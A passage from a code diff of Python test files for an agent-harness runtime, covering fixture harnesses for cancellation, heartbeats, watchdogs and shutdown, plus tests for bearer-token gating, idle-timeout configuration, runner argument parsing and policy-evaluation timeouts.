it, the terminal event becomes ``response.cancelled``.
"""
async def run_turn(self, request: CreateResponseRequest, ctx: TurnContext) -> None:
del request
for _ in range(100):
if ctx.cancelled.is_set():
ctx.emit(
OutputTextDeltaEvent(type="response.output_text.delta", delta="cancelled")
)
return
await asyncio.sleep(0.05)
ctx.emit(OutputTextDeltaEvent(type="response.output_text.delta", delta="timeout"))
class _InjectionHarness(HarnessApp):
"""
Emits a starter delta, then waits up to 2 seconds for an
injection. Echoes the injection's input length, then completes.
Verifies: in-band injection routing — a ``message`` event
on ``POST /v1/sessions/{id}/events`` whose
``previous_response_id`` matches the in-flight turn lands on
the injection queue rather than starting a new turn, and the
subclass observes it via ``ctx.next_injection``.
"""
async def run_turn(self, request: CreateResponseRequest, ctx: TurnContext) -> None:
del request
ctx.emit(OutputTextDeltaEvent(type="response.output_text.delta", delta="ready:"))
injection = await ctx.next_injection(timeout=2.0)
if injection is None:
ctx.emit(OutputTextDeltaEvent(type="response.output_text.delta", delta="none"))
return
n = len(injection.input or [])
ctx.emit(OutputTextDeltaEvent(type="response.output_text.delta", delta=f"got_{n}"))
class _NativeToolEmittingHarness(HarnessApp):
"""
Emits a ``function_call`` + paired ``function_call_output``
(both ``status: "completed"``) representing a harness-native
tool call (e.g., what Claude Code's Task tool would surface
per §Sub-agent representation).
Verifies the subclass can emit the function_call and
function_call_output items directly without going through
``dispatch_tool`` (which is for server-dispatched tools that
park on a PATCH).
"""
async def run_turn(self, request: CreateResponseRequest, ctx: TurnContext) -> None:
del request
# function_call item — already-completed (not action_required).
ctx.emit(
OutputItemDoneEvent(
type="response.output_item.done",
item={
"id": "fc_native",
"type": "function_call",
"status": "completed",
"name": "Task",
"arguments": '{"prompt": "subagent task"}',
"call_id": "call_native_1",
"agent": "test-agent",
},
)
)
# paired function_call_output.
ctx.emit(
OutputItemDoneEvent(
type="response.output_item.done",
item={
"id": "fco_native",
"type": "function_call_output",
"call_id": "call_native_1",
"output": "subagent done",
},
)
)
class _FastHeartbeatHarness(HarnessApp):
"""
Heartbeat-cadence override: fires every 0.2s instead of the
production 15s, so an integration test can observe at least
one heartbeat in a sub-second turn and assert its
``server_time`` + ``last_event_seq`` are populated by the
streaming wrapper.
The turn emits a single text delta (so the heartbeat that
follows has a non-None ``last_event_seq``), then sleeps
long enough for one heartbeat interval to fire, then
returns.
Overrides ``_heartbeat_loop`` rather than poking the module
constant: the constant is read once at module import in the
subprocess and a test-process monkeypatch wouldn't propagate.
"""
async def _heartbeat_loop(self, ctx: TurnContext) -> None:
# 0.2s gives ~3 heartbeats per 0.6s sleep below — enough
# margin that a slow CI box still sees at least one before
# ``run_turn`` returns and ``_teardown_turn`` cancels the
# heartbeat task.
from omnigent.server.schemas import HeartbeatEvent
while True:
await asyncio.sleep(0.2)
ctx.emit(HeartbeatEvent(type="response.heartbeat"))
async def run_turn(self, request: CreateResponseRequest, ctx: TurnContext) -> None:
del request
# Emit a non-heartbeat event first so the subsequent
# heartbeat's ``last_event_seq`` is non-None — proves the
# wrapper tracks the previous user-visible event correctly.
ctx.emit(OutputTextDeltaEvent(type="response.output_text.delta", delta="warmup"))
# Sleep through ~4 heartbeat intervals so at least one
# fires before the turn returns. 0.8s at 0.2s cadence
# gives margin against asyncio scheduler jitter on slow
# CI boxes — a tighter 0.6s budget would mean a single
# 100ms hiccup could miss the third interval and leave
# the test seeing only one heartbeat (still passes the
# ``>= 1`` assertion, but loses the "after warmup"
# heartbeat the test specifically looks for).
await asyncio.sleep(0.8)
class _UnclassifiedExceptionHarness(HarnessApp):
"""
Emits one warmup delta, then raises a bare ``RuntimeError``
mid-turn.
Verifies the scaffold's last-line-of-defense robustness:
when ``run_turn`` raises an unfamiliar exception, the
streaming response MUST still terminate with a synthesized
``response.failed`` event so consumers (the AP-side
``the harness HTTP client``) get a clean
``[llm] <code>: <message>`` instead of a bare
``httpx.ReadError``. See the 2026-04-29 12-shell user repro
where Databricks gateway 429s broke the inner SDK's stream
and the terminal event emission failed silently.
"""
async def run_turn(self, request: CreateResponseRequest, ctx: TurnContext) -> None:
del request
ctx.emit(
OutputTextDeltaEvent(
type="response.output_text.delta",
delta="warmup-before-raise",
),
)
# Tiny sleep so the emit lands before the raise — the
# streaming wrapper picks up the delta from the queue
# before reading the sentinel pushed by the
# ``_guarded_run_turn`` finally on raise.
await asyncio.sleep(0.05)
raise RuntimeError("simulated mid-turn failure")
class _SlowStreamHarness(HarnessApp):
"""
Slow-streaming harness: emits ``response.output_text.delta``
events on a steady cadence for several seconds, polling
``ctx.cancelled`` between emits so an interrupt can stop the
turn mid-stream.
Used by the session-interrupt integration test to verify the
Omnigent server → runner → harness interrupt path actually cancels
the in-flight turn. ``_EchoHarness`` completes synchronously
and is useless for this purpose because there is no turn left
to interrupt by the time the test POSTs the interrupt event.
Cadence: a delta every ~50ms for up to ~5 seconds (100 ticks).
On cancel, returns early without emitting a final delta — the
streaming wrapper synthesizes ``response.cancelled`` as the
terminal event.
:ivar _tick_seconds: Per-iteration sleep, exposed for tests
that want to assert on cadence.
"""
_tick_seconds: float = 0.05
_max_ticks: int = 100
async def run_turn(self, request: CreateResponseRequest, ctx: TurnContext) -> None:
del request
for i in range(self._max_ticks):
if ctx.cancelled.is_set():
return
ctx.emit(
OutputTextDeltaEvent(
type="response.output_text.delta",
delta=f"chunk-{i} ",
)
)
# Sleep in small steps so the cancel event is observed
# promptly even mid-tick.
await asyncio.sleep(self._tick_seconds)
class _ShutdownTrackingHarness(HarnessApp):
"""
Tracks whether :meth:`on_shutdown` was called during lifespan
teardown.
Writes a sentinel file at the path from the
``HARNESS_SHUTDOWN_MARKER`` env var when ``on_shutdown`` fires.
The test checks for this file after the subprocess exits to
verify the scaffold's lifespan ``finally`` block invokes the
subclass hook.
Also verifies Fix A: the ``_on_shutdown_signal`` call in the
``finally`` block happens unconditionally, even when uvicorn's
own signal handler overwrote the scaffold's.
"""
async def on_shutdown(self) -> None:
"""Write a sentinel file proving this method was called."""
marker_path = os.environ.get("HARNESS_SHUTDOWN_MARKER")
if marker_path:
from pathlib import Path
Path(marker_path).write_text("shutdown_called", encoding="utf-8")
async def run_turn(self, request: CreateResponseRequest, ctx: TurnContext) -> None:
del request
ctx.emit(OutputTextDeltaEvent(type="response.output_text.delta", delta="hello"))
class _WedgedHarness(HarnessApp):
"""Hangs forever in ``run_turn`` — exercises the per-turn watchdog."""
async def run_turn(self, request: CreateResponseRequest, ctx: TurnContext) -> None:
del request, ctx
await asyncio.Event().wait() # never set; hang until cancelled
class _BusyProgressHarness(HarnessApp):
"""
Emits ``response.output_text.delta`` on a steady sub-second cadence
for longer than the per-turn watchdog window, then completes.
Exercises the *idle-reset* watchdog: a turn that keeps emitting real
progress events must reach ``response.completed`` even though its
total duration exceeds ``HARNESS_TURN_TIMEOUT_S``. With the old
fixed-*cumulative* watchdog this turn was cut to ``response.failed``
mid-stream — that is the nessie "long orchestration turn killed
before it finished" bug this fixture reproduces.
Cadence: a delta every 0.1s for ~3s (30 ticks). Against the 2s
watchdog the fixture sets, each gap (0.1s) is a 20x margin under the
idle deadline, so a slow CI box can't spuriously trip it; yet the
~3s cumulative duration comfortably exceeds the 2s window the old
cumulative watchdog enforced.
"""
_tick_seconds: float = 0.1
_max_ticks: int = 30
async def run_turn(self, request: CreateResponseRequest, ctx: TurnContext) -> None:
del request
for i in range(self._max_ticks):
ctx.emit(OutputTextDeltaEvent(type="response.output_text.delta", delta=f"tick-{i} "))
await asyncio.sleep(self._tick_seconds)
class _WedgedFastHeartbeatHarness(HarnessApp):
"""
Hangs forever in ``run_turn`` while emitting fast heartbeats.
Exercises the load-bearing detail of the idle-reset watchdog:
``response.heartbeat`` is keep-alive, NOT progress, so it must NOT
reset the idle deadline. With a 0.2s heartbeat against a 2s watchdog,
~10 heartbeats fire inside the window — if heartbeats reset the
watchdog, the turn would never fail; the watchdog must still fire and
terminate the wedged turn with ``response.failed``.
Overrides ``_heartbeat_loop`` (not the module constant) because the
constant is read once at subprocess import and a test-process
monkeypatch wouldn't propagate.
"""
async def _heartbeat_loop(self, ctx: TurnContext) -> None:
from omnigent.server.schemas import HeartbeatEvent
while True:
await asyncio.sleep(0.2)
ctx.emit(HeartbeatEvent(type="response.heartbeat"))
async def run_turn(self, request: CreateResponseRequest, ctx: TurnContext) -> None:
del request, ctx
await asyncio.Event().wait() # never set; hang until the watchdog fires
_FIXTURES: dict[str, type[HarnessApp]] = {
"echo": _EchoHarness,
"wedged": _WedgedHarness,
"busy_progress": _BusyProgressHarness,
"wedged_fast_heartbeat": _WedgedFastHeartbeatHarness,
"usage": _UsageHarness,
"tool_dispatch": _ToolDispatchHarness,
"elicitation": _ElicitationHarness,
"cancellable": _CancellableHarness,
"injection": _InjectionHarness,
"native_tool": _NativeToolEmittingHarness,
"fast_heartbeat": _FastHeartbeatHarness,
"unclassified_exception": _UnclassifiedExceptionHarness,
"slow_stream": _SlowStreamHarness,
"shutdown_tracking": _ShutdownTrackingHarness,
}
def create_app() -> FastAPI:
"""
Build a fixture FastAPI app for whichever subclass the
``HARNESS_TEST_FIXTURE`` env var selects.
:returns: The fixture's :class:`FastAPI` instance.
:raises ValueError: If the env var is unset or names an
unknown fixture (programming error in the test).
"""
fixture_name = os.environ.get(_FIXTURE_ENV_VAR)
if fixture_name is None:
raise ValueError(
f"{_FIXTURE_ENV_VAR} env var not set; tests must select a fixture "
f"before spawning the runner"
)
fixture_cls = _FIXTURES.get(fixture_name)
if fixture_cls is None:
raise ValueError(f"unknown fixture {fixture_name!r}; available: {sorted(_FIXTURES)}")
return fixture_cls().build()
+47
View File
@@ -0,0 +1,47 @@
"""
Conftest for the harness process-manager / runner tests.
Ensures the runner subprocesses these tests spawn can import both
the production ``omnigent`` package AND the test fixture harness
at ``tests.runtime.harnesses._test_harness``.
pytest's :data:`pyproject.toml` ``pythonpath = ["."]`` adds the
project root to ``sys.path`` of the test process — but
:func:`asyncio.create_subprocess_exec` only inherits the OS env
(``PYTHONPATH``), not the parent's ``sys.path`` mutations. Without
this fixture the runner subprocess starts with no project root on
its path and fails to import either ``omnigent.runtime.harnesses._runner``
or the test harness module.
The fixture is autouse-scoped to this directory, so every spawn
in these tests inherits a PYTHONPATH that includes the project
root. Setting it via :func:`monkeypatch.setenv` keeps the
modification scoped to one test — other test modules that don't
care about PYTHONPATH are unaffected.
"""
from __future__ import annotations
import os
from pathlib import Path
import pytest
# Project root: three parents up from this conftest
# (tests/runtime/harnesses/conftest.py → repo root).
_PROJECT_ROOT = Path(__file__).resolve().parents[3]
@pytest.fixture(autouse=True)
def _ensure_subprocess_pythonpath(monkeypatch: pytest.MonkeyPatch) -> None:
"""
Prepend the project root to the ``PYTHONPATH`` env var for the
duration of the test, so spawned subprocesses can import
``omnigent`` and ``tests.*``.
Prepend (don't overwrite) so any developer-set ``PYTHONPATH``
is preserved as the suffix.
"""
existing = os.environ.get("PYTHONPATH", "")
new_path = f"{_PROJECT_ROOT}{os.pathsep}{existing}" if existing else str(_PROJECT_ROOT)
monkeypatch.setenv("PYTHONPATH", new_path)
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,65 @@
"""S1: the harness ``/v1`` control channel is gated by a per-spawn bearer token.
On Windows the harness IPC is a loopback-TCP listener reachable by any local
process (POSIX uses a uid-isolated Unix socket), so ``process_manager`` mints a
per-spawn token, ships it to the harness via its private env, and presents it on
every request. The scaffold rejects ``/v1`` requests whose bearer token does not
match. The gate is keyed on ``app.state.harness_auth_token`` so it is inert when
no token is configured (POSIX, or an app built directly in a test) — see
``omnigent/runtime/harnesses/_scaffold.py``.
This test builds the scaffold app directly (no ``/tmp`` socket manager), so it
runs on every platform.
"""
from __future__ import annotations
from starlette.testclient import TestClient
from tests.runtime.harnesses._test_scaffold_harnesses import _EchoHarness
_URL = "/v1/sessions/conv_x/events"
_BODY = {"type": "interrupt"} # simplest inbound event; needs no in-flight turn
def _build_app() -> object:
app = _EchoHarness().build()
app.state.conversation_id = "conv_x"
return app
def test_v1_is_inert_without_a_configured_token() -> None:
"""No token on app.state (POSIX / direct embedder) -> /v1 is not gated."""
app = _build_app()
with TestClient(app) as client:
# Reaches the handler (404: interrupt with no in-flight turn), not 401.
assert client.post(_URL, json=_BODY).status_code != 401
def test_v1_requires_the_bearer_token_when_configured() -> None:
"""Token on app.state (Windows) -> /v1 demands a matching bearer token."""
app = _build_app()
app.state.harness_auth_token = "s3cret-token"
with TestClient(app) as client:
# Missing and wrong tokens are rejected before any turn logic runs.
assert client.post(_URL, json=_BODY).status_code == 401
assert (
client.post(_URL, json=_BODY, headers={"Authorization": "Bearer nope"}).status_code
== 401
)
# A bad scheme is rejected too.
assert (
client.post(_URL, json=_BODY, headers={"Authorization": "s3cret-token"}).status_code
== 401
)
# The correct token passes the gate (404 from the handler, not 401).
ok = client.post(_URL, json=_BODY, headers={"Authorization": "Bearer s3cret-token"})
assert ok.status_code != 401
def test_health_probe_is_never_gated() -> None:
"""``GET /health`` stays open for liveness even when a token is configured."""
app = _build_app()
app.state.harness_auth_token = "s3cret-token"
with TestClient(app) as client:
assert client.get("/health").status_code == 200
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,54 @@
"""Tests for the configurable harness idle-reap window.
The harness idle window (after which an idle harness subprocess is reaped) is
now tunable via the ``OMNIGENT_HARNESS_IDLE_TIMEOUT_S`` env var, mirroring the
runner-level ``runner.idle_timeout_s`` knob. ``0`` disables reaping; an
unparseable / negative value falls back to the default rather than failing the
runner at boot.
"""
from __future__ import annotations
import pytest
from omnigent.runtime.harnesses.process_manager import (
_DEFAULT_IDLE_TIMEOUT_S,
_HARNESS_IDLE_TIMEOUT_ENV,
HarnessProcessManager,
_resolve_harness_idle_timeout_s,
)
def test_resolve_default_when_env_unset(monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.delenv(_HARNESS_IDLE_TIMEOUT_ENV, raising=False)
assert _resolve_harness_idle_timeout_s() == float(_DEFAULT_IDLE_TIMEOUT_S)
def test_resolve_reads_env(monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setenv(_HARNESS_IDLE_TIMEOUT_ENV, "7200")
assert _resolve_harness_idle_timeout_s() == 7200.0
def test_resolve_zero_disables(monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setenv(_HARNESS_IDLE_TIMEOUT_ENV, "0")
assert _resolve_harness_idle_timeout_s() == 0.0
@pytest.mark.parametrize("bad", ["abc", "-5", ""])
def test_resolve_invalid_falls_back_to_default(monkeypatch: pytest.MonkeyPatch, bad: str) -> None:
monkeypatch.setenv(_HARNESS_IDLE_TIMEOUT_ENV, bad)
assert _resolve_harness_idle_timeout_s() == float(_DEFAULT_IDLE_TIMEOUT_S)
def test_manager_uses_env_when_no_explicit_value(
monkeypatch: pytest.MonkeyPatch, tmp_path
) -> None:
monkeypatch.setenv(_HARNESS_IDLE_TIMEOUT_ENV, "1800")
mgr = HarnessProcessManager(tmp_parent=tmp_path)
assert mgr._idle_timeout_s == 1800.0
def test_manager_explicit_value_overrides_env(monkeypatch: pytest.MonkeyPatch, tmp_path) -> None:
monkeypatch.setenv(_HARNESS_IDLE_TIMEOUT_ENV, "1800")
mgr = HarnessProcessManager(idle_timeout_s=42.0, tmp_parent=tmp_path)
assert mgr._idle_timeout_s == 42.0
+150
View File
@@ -0,0 +1,150 @@
"""
Tests for the harness runner CLI argument parsing, module
resolution, and parent-death watchdog.
Spawn-and-serve is exercised by ``test_process_manager.py`` since
that requires actually waiting on uvicorn — covering the same
ground here would just duplicate.
"""
from __future__ import annotations
import pytest
from omnigent.runtime.harnesses import _runner
def test_parse_args_requires_all_args() -> None:
"""Missing any of the four required args is a CLI error.
Catches a regression where one of the arguments gets a default
or becomes optional — the runner's contract is that all four
(harness, module, socket, conversation-id) are AP-allocated
and must arrive on the command line.
"""
with pytest.raises(SystemExit):
# Empty argv → argparse rejects, raising SystemExit(2).
_runner._parse_args([])
def test_parse_args_returns_all_fields() -> None:
"""All required args round-trip into the namespace."""
ns = _runner._parse_args(
[
"--harness",
"test",
"--module",
"tests.runtime.harnesses._test_harness",
"--socket",
"/tmp/example.sock",
"--conversation-id",
"conv_abc",
]
)
assert ns.harness == "test"
assert ns.module == "tests.runtime.harnesses._test_harness"
assert ns.socket == "/tmp/example.sock"
assert ns.conversation_id == "conv_abc"
def test_parse_args_parent_pid_defaults_to_none() -> None:
"""``--parent-pid`` is optional and defaults to ``None``.
When the parent doesn't pass it (e.g. during manual testing or
standalone use), the watchdog thread should not start.
"""
ns = _runner._parse_args(
[
"--harness",
"test",
"--module",
"tests.runtime.harnesses._test_harness",
"--socket",
"/tmp/example.sock",
"--conversation-id",
"conv_abc",
]
)
assert ns.parent_pid is None
def test_parse_args_parent_pid_parses_integer() -> None:
"""``--parent-pid`` parses as an integer when supplied.
The watchdog thread needs an integer for ``os.kill(pid, 0)``.
If argparse stored it as a string, the ``os.kill`` call would
raise ``TypeError`` silently in the daemon thread.
"""
ns = _runner._parse_args(
[
"--harness",
"test",
"--module",
"tests.runtime.harnesses._test_harness",
"--socket",
"/tmp/example.sock",
"--conversation-id",
"conv_abc",
"--parent-pid",
"12345",
]
)
assert ns.parent_pid == 12345
assert isinstance(ns.parent_pid, int)
def test_load_harness_app_import_error_exits(
capsys: pytest.CaptureFixture[str],
) -> None:
"""A non-importable module path is fatal at boot.
Per §Process management: misconfigurations should surface at
spawn time as a non-zero exit, not as a connection refused
on the first request. Verifies SystemExit(2) + a stderr
message naming the bad module path.
"""
with pytest.raises(SystemExit) as excinfo:
_runner._load_harness_app("missing", "omnigent.does_not_exist", "conv_x")
assert excinfo.value.code == 2
err = capsys.readouterr().err
# Catch a future regression where the loud-fail message gets
# silenced or the module path gets dropped from it.
assert "cannot import harness module" in err
assert "'omnigent.does_not_exist'" in err
def test_load_harness_app_module_without_create_app_exits(
capsys: pytest.CaptureFixture[str],
) -> None:
"""A module that doesn't export create_app is fatal.
Verifies the runner's structural check (``getattr(module,
"create_app", None)``) catches the misnaming case loudly.
Pointing the runner at a real module without ``create_app``
(``omnigent.errors``) reproduces the failure mode.
"""
with pytest.raises(SystemExit) as excinfo:
_runner._load_harness_app("broken", "omnigent.errors", "conv_x")
assert excinfo.value.code == 2
err = capsys.readouterr().err
assert "does not export create_app" in err
def test_load_harness_app_loads_test_fixture() -> None:
"""A real module with create_app loads + stashes app state.
Verifies the happy path: import → factory call →
app.state.conversation_id + app.state.harness stash. The
conversation id plumbing is the most fragile part of the
runner contract (the design doc explicitly forbids parsing
it from the socket path), so it gets a focused assertion.
"""
app = _runner._load_harness_app("test", "tests.runtime.harnesses._test_harness", "conv_xyz")
# The fixture's create_app() returns a real FastAPI app — the
# runner's job is to stash the conversation id on it. If this
# fails, the harness can't scope its in-memory state per
# §Harness in-memory state.
assert app.state.conversation_id == "conv_xyz"
# The harness name is also stashed for introspection /
# logging — verifies the second app.state plumbing.
assert app.state.harness == "test"
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,285 @@
"""
Tests for the policy evaluation round-trip added to
:class:`TurnContext` and :class:`HarnessApp` in the scaffold.
Verifies:
- ``TurnContext.evaluate_policy`` parks on a Future and emits
a ``PolicyEvaluationRequestEvent`` SSE event upstream.
- ``PolicyVerdictEvent`` inbound events resolve the parked Future
with the correct :class:`PolicyVerdictPayload`.
- ``_cancel_pending`` cancels outstanding policy evaluation Futures.
- Stale ``evaluation_id`` on a verdict event silently no-ops.
"""
from __future__ import annotations
import asyncio
from typing import Any
import pytest
from omnigent.runtime.harnesses._scaffold import (
PolicyVerdictEvent,
PolicyVerdictPayload,
TurnContext,
)
from omnigent.server.schemas import (
HarnessStreamEvent,
PolicyEvaluationRequestEvent,
)
@pytest.fixture()
def _turn_ctx() -> TurnContext:
"""
Build a minimal :class:`TurnContext` for testing.
Uses a bounded queue so ``emit`` doesn't block.
:returns: Ready-to-use context with a fresh event queue.
"""
queue: asyncio.Queue[HarnessStreamEvent | None] = asyncio.Queue()
cancelled = asyncio.Event()
return TurnContext(
response_id="resp_test_001",
event_queue=queue,
cancelled=cancelled,
)
@pytest.mark.asyncio()
async def test_evaluate_policy_round_trip(_turn_ctx: TurnContext) -> None:
"""
``evaluate_policy`` emits a ``PolicyEvaluationRequestEvent``
and parks until the verdict is delivered via
``_complete_policy_evaluation``.
If the SSE event is not emitted or the Future is never
resolved, the test will hang (timeout) — proving the
round-trip wiring is correct.
"""
ctx = _turn_ctx
eval_id = "poleval_test_001"
phase = "PHASE_LLM_REQUEST"
data: dict[str, Any] = {"model": "gpt-4o", "messages_count": 10}
# Start evaluate_policy in the background — it will park on a Future.
task = asyncio.create_task(ctx.evaluate_policy(eval_id, phase, data))
# Give the event loop a tick so the Future is registered
# and the SSE event is emitted.
await asyncio.sleep(0)
# Verify the SSE event was emitted.
emitted = ctx._event_queue.get_nowait()
assert isinstance(emitted, PolicyEvaluationRequestEvent), (
f"Expected PolicyEvaluationRequestEvent, got {type(emitted).__name__}. "
"The evaluate_policy method should emit an upstream SSE event."
)
# The event must carry the exact evaluation_id, phase, and data
# so the runner can route the request to the Omnigent server.
assert emitted.evaluation_id == eval_id
assert emitted.phase == phase
assert emitted.data == data
# Deliver the verdict — should resolve the parked Future.
verdict = PolicyVerdictPayload(
action="POLICY_ACTION_DENY",
reason="test denial",
data={"rewritten": True},
)
resolved = ctx._complete_policy_evaluation(eval_id, verdict)
# True means the Future was found and resolved.
assert resolved is True, (
"Expected _complete_policy_evaluation to return True (Future matched). "
"If False, the evaluation_id didn't match any pending evaluation."
)
# The task should now complete with the verdict payload.
result = await asyncio.wait_for(task, timeout=2.0)
assert result.action == "POLICY_ACTION_DENY", (
"Verdict action should be POLICY_ACTION_DENY as delivered. "
"If ALLOW, the wrong verdict was delivered or a default was returned."
)
assert result.reason == "test denial"
assert result.data == {"rewritten": True}
@pytest.mark.asyncio()
async def test_evaluate_policy_stale_id_silently_noop(_turn_ctx: TurnContext) -> None:
"""
A ``_complete_policy_evaluation`` call with an unknown
``evaluation_id`` returns ``False`` and does not raise.
This matches the tool_result handler's stale-id semantics.
"""
ctx = _turn_ctx
verdict = PolicyVerdictPayload(action="POLICY_ACTION_ALLOW")
# No pending evaluations — stale id should no-op.
resolved = ctx._complete_policy_evaluation("poleval_nonexistent", verdict)
assert resolved is False, (
"Expected False for a stale evaluation_id. If True, a phantom Future was matched."
)
@pytest.mark.asyncio()
async def test_cancel_pending_cancels_policy_evaluations(_turn_ctx: TurnContext) -> None:
"""
``_cancel_pending`` cancels all outstanding policy evaluation
Futures so the executor unblocks with ``CancelledError``.
"""
ctx = _turn_ctx
# Start an evaluation that will park.
task = asyncio.create_task(ctx.evaluate_policy("poleval_cancel_001", "PHASE_LLM_REQUEST", {}))
await asyncio.sleep(0)
# Cancel all pending (as the interrupt handler does).
ctx._cancel_pending()
# The task should raise CancelledError.
with pytest.raises(asyncio.CancelledError):
await asyncio.wait_for(task, timeout=2.0)
@pytest.mark.asyncio()
async def test_policy_verdict_event_handler(_turn_ctx: TurnContext) -> None:
"""
The scaffold's ``_handle_policy_verdict_event`` converts a
:class:`PolicyVerdictEvent` into a :class:`PolicyVerdictPayload`
and resolves the correct parked Future.
"""
ctx = _turn_ctx
eval_id = "poleval_handler_001"
# Park a Future.
task = asyncio.create_task(
ctx.evaluate_policy(eval_id, "PHASE_LLM_RESPONSE", {"model": "test"})
)
await asyncio.sleep(0)
# Simulate the inbound event that the scaffold handler would deliver.
body = PolicyVerdictEvent(
type="policy_verdict",
evaluation_id=eval_id,
action="POLICY_ACTION_ALLOW",
reason=None,
)
verdict = PolicyVerdictPayload(
action=body.action,
reason=body.reason,
data=body.data,
)
ctx._complete_policy_evaluation(body.evaluation_id, verdict)
result = await asyncio.wait_for(task, timeout=2.0)
assert result.action == "POLICY_ACTION_ALLOW", (
"Expected ALLOW verdict from the handler. "
"If different, the verdict event was not correctly converted."
)
assert result.reason is None
@pytest.mark.asyncio()
async def test_evaluate_policy_timeout_returns_allow(
_turn_ctx: TurnContext,
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
``evaluate_policy`` returns ALLOW after the timeout expires.
If the verdict never arrives (race condition, network hiccup,
evaluation_id mismatch), the executor must not hang forever.
Fail-open prevents silent session hangs.
"""
# Shrink timeout to 0.1s so the test runs fast.
import omnigent.runtime.harnesses._scaffold as _scaffold_mod
monkeypatch.setattr(_scaffold_mod, "_POLICY_EVAL_TIMEOUT_S", 0.1)
ctx = _turn_ctx
# Start evaluation but never deliver the verdict.
result = await ctx.evaluate_policy("poleval_timeout_001", "PHASE_LLM_REQUEST", {})
assert result.action == "POLICY_ACTION_ALLOW", (
"Timed-out LLM-phase policy evaluation should default to ALLOW "
"(fail-open) so a transient outage never hangs the turn. "
"If DENY, the timeout path is returning the wrong default. "
"If this test hangs, the timeout isn't being applied."
)
assert result.reason is None
@pytest.mark.asyncio()
async def test_evaluate_policy_tool_call_timeout_fails_closed(
_turn_ctx: TurnContext,
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""A timed-out ``PHASE_TOOL_CALL`` evaluation defaults to DENY.
TOOL_CALL is the authoritative gate for connector-native MCP tools
(the harness ``can_use_tool`` callback consumes this verdict and the
call is never re-checked server-side). If the verdict never arrives,
the tool must be blocked, not allowed — the LLM-phase fail-open above
must NOT extend to the tool *call*.
"""
import omnigent.runtime.harnesses._scaffold as _scaffold_mod
monkeypatch.setattr(_scaffold_mod, "_POLICY_EVAL_TIMEOUT_S", 0.1)
ctx = _turn_ctx
# Start evaluation but never deliver the verdict.
result = await ctx.evaluate_policy("poleval_toolcall_timeout", "PHASE_TOOL_CALL", {})
assert result.action == "POLICY_ACTION_DENY", (
f"Timed-out TOOL_CALL policy evaluation must fail CLOSED (DENY); got {result.action!r}."
)
assert result.reason is not None
@pytest.mark.asyncio()
async def test_evaluate_policy_tool_result_timeout_fails_open(
_turn_ctx: TurnContext,
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""A timed-out ``PHASE_TOOL_RESULT`` evaluation defaults to ALLOW.
By the result phase the tool has already executed, so a missing verdict
need not block — TOOL_RESULT fails OPEN like the advisory LLM phases,
unlike TOOL_CALL. (Maintainer design decision — see PR review thread.)
"""
import omnigent.runtime.harnesses._scaffold as _scaffold_mod
monkeypatch.setattr(_scaffold_mod, "_POLICY_EVAL_TIMEOUT_S", 0.1)
ctx = _turn_ctx
result = await ctx.evaluate_policy("poleval_toolresult_timeout", "PHASE_TOOL_RESULT", {})
assert result.action == "POLICY_ACTION_ALLOW", (
f"Timed-out TOOL_RESULT policy evaluation must fail OPEN (ALLOW); got {result.action!r}."
)
assert result.reason is None
def test_policy_verdict_payload_frozen() -> None:
"""
``PolicyVerdictPayload`` is frozen — mutations raise.
Consumers store verdicts without defensive copies; if
mutability regresses, shared references could corrupt
later reads.
"""
payload = PolicyVerdictPayload(action="POLICY_ACTION_ALLOW")
with pytest.raises(AttributeError):
payload.action = "POLICY_ACTION_DENY" # type: ignore[misc]
def test_policy_verdict_payload_defaults() -> None:
"""
Minimal construction sets ``reason=None`` and ``data=None``.
"""
payload = PolicyVerdictPayload(action="POLICY_ACTION_ALLOW")
assert payload.action == "POLICY_ACTION_ALLOW"
assert payload.reason is None
assert payload.data is None
+5
View File
@@ -0,0 +1,5 @@
"""
Tests for ``omnigent.runtime.policies`` — the PolicyEngine,
its builder, and (in later phases) the concrete Policy
subclasses.
"""
+137
View File
@@ -0,0 +1,137 @@
"""
Fixtures for runtime policy tests.
Re-imports the `conversation_store` fixture (and its
underlying `db_uri`) from `tests/stores/conftest.py` so tests
here can exercise the real persistence layer without
duplicating setup.
"""
from __future__ import annotations
from typing import Any
import pytest
from omnigent.policies.function import FunctionPolicy
from omnigent.policies.types import PolicyResult
from omnigent.spec.types import FunctionPolicySpec, FunctionRef, PhaseSelector, PolicyAction
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
@pytest.fixture()
def conversation_store(db_uri: str) -> SqlAlchemyConversationStore:
"""
Conversation store backed by a per-test SQLite DB.
Mirrors the fixture in `tests/stores/conftest.py` — kept
local so runtime policy tests can evolve their dependency
surface without coupling to store-test internals.
"""
return SqlAlchemyConversationStore(db_uri)
def make_fixed_policy(
name: str,
action: PolicyAction = PolicyAction.ALLOW,
reason: str | None = None,
set_labels: dict[str, str] | None = None,
on: list[PhaseSelector] | None = None,
condition: dict[str, str] | None = None,
config: dict[str, Any] | None = None,
ask_timeout: int | None = None,
) -> FunctionPolicy:
"""
Build a :class:`FunctionPolicy` that always returns a fixed result.
Replaces the removed ``LabelPolicy`` in tests — produces the
same behavior (unconditional fixed action + optional label
writes) without requiring the deleted ``LabelPolicySpec``.
:param name: Policy name, e.g. ``"taint_web"``.
:param action: Fixed action to return, e.g.
``PolicyAction.DENY``.
:param reason: Human-readable reason, e.g.
``"Web content is untrusted."``.
:param set_labels: Label writes to emit, e.g.
``{"integrity": "0"}``.
:param on: Phase selectors; ``None`` means all phases.
:param condition: Label-gate condition dict, e.g.
``{"integrity": "0"}``.
:param config: Runtime key-value config dict. Unused by
the fixed callable but stored on the spec.
:param ask_timeout: Per-policy ASK timeout override in
seconds. ``None`` inherits the spec-wide default.
:returns: A :class:`FunctionPolicy` that always returns the
specified result.
"""
frozen_labels = dict(set_labels) if set_labels else None
frozen_action = action
frozen_reason = reason
def _fixed(event: dict[str, Any]) -> PolicyResult:
"""Return the fixed result regardless of event content."""
return PolicyResult(
action=frozen_action,
reason=frozen_reason,
set_labels=frozen_labels,
)
spec = FunctionPolicySpec(
name=name,
on=on,
condition=condition,
config=config,
ask_timeout=ask_timeout,
function=FunctionRef(path=f"<inline:{name}>"),
)
policy = FunctionPolicy.__new__(FunctionPolicy)
